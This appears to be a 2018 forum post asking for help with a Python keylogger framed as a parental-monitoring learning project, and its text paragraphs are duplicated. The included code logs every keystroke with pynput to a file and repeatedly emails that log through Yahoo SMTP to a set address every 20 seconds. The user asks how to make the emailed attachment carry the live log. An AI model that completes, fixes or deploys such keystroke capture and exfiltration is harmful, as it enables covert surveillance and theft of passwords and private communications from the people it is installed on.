Oct-25-2018, 10:08 PM
I've been dabbling in cyber security and doing some research on parenting monitoring tools and thought a key-logger/email sender would be a good project to learn how to build.
So the code I have sends an email correctly, and also sends the generated text file as an attachment.
The problems I'm having and need help with are: 1. As the key logger continues to log keystrokes, the email attachment does not update the file, it just sends the original file in the original path.
I would like to create a way to search for the path of the text file belonging to the key logger function, from the email function. In other words, I don't want to have to hard code the file path where the email should be looking for the attachment.
If there is a better way to do this, I'm all ears as I am learning. One way I thought was just read the contents of the keystrokes into an open file that is linked for sending through the email, but am not sure how to go about doing this. My code below.
One of the problems I believe I'm having is stopping the listener.join() call from stopping. An idea I had was putting the key logging function under a loop with a time limit, and stopping the listener.join() call so the file could be uploaded.
I am using Python latest version for windows. 3.x
So the code I have sends an email correctly, and also sends the generated text file as an attachment.
The problems I'm having and need help with are: 1. As the key logger continues to log keystrokes, the email attachment does not update the file, it just sends the original file in the original path.
I would like to create a way to search for the path of the text file belonging to the key logger function, from the email function. In other words, I don't want to have to hard code the file path where the email should be looking for the attachment.
If there is a better way to do this, I'm all ears as I am learning. One way I thought was just read the contents of the keystrokes into an open file that is linked for sending through the email, but am not sure how to go about doing this. My code below.
One of the problems I believe I'm having is stopping the listener.join() call from stopping. An idea I had was putting the key logging function under a loop with a time limit, and stopping the listener.join() call so the file could be uploaded.
I am using Python latest version for windows. 3.x
from pynput.keyboard import Key, Listener import logging import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders import time import threading def main(): def logger(): logging.basicConfig(filename=("" + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join() def mail(): email_user = '[email protected]' email_password = 'password' email_send = '[email protected]' subject = 'Test' #Creating message object for email. Tying message object to variables above. msg = MIMEMultipart() msg['From'] = email_user msg['To'] = email_send msg['Subject'] = subject #Actual message. body = 'Hi there, sending this email from Python!' #Attach a file msg.attach(MIMEText(body,'plain')) #File path needs double slash here. Filename is reference variable to file location filename='C:\\Users\\JamesLaptop\\Desktop\\Python\\key_log.txt' #create attachment variable, open, filename and attachment=open(filename,'rb') part = MIMEBase('application','octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition',"attachment; filename= "+filename) msg.attach(part) text = msg.as_string() server = smtplib.SMTP(host = 'smtp.mail.yahoo.com', port = 587) server.starttls() server.login(email_user,email_password) #send message while True: try: server.sendmail(email_user,email_send,text) print("Success") time.sleep(20) except Exception: print("Message failed to send") server.quit() w = threading.Thread(target = logger) w2 = threading.Thread(target = mail) w.start() w2.start() main()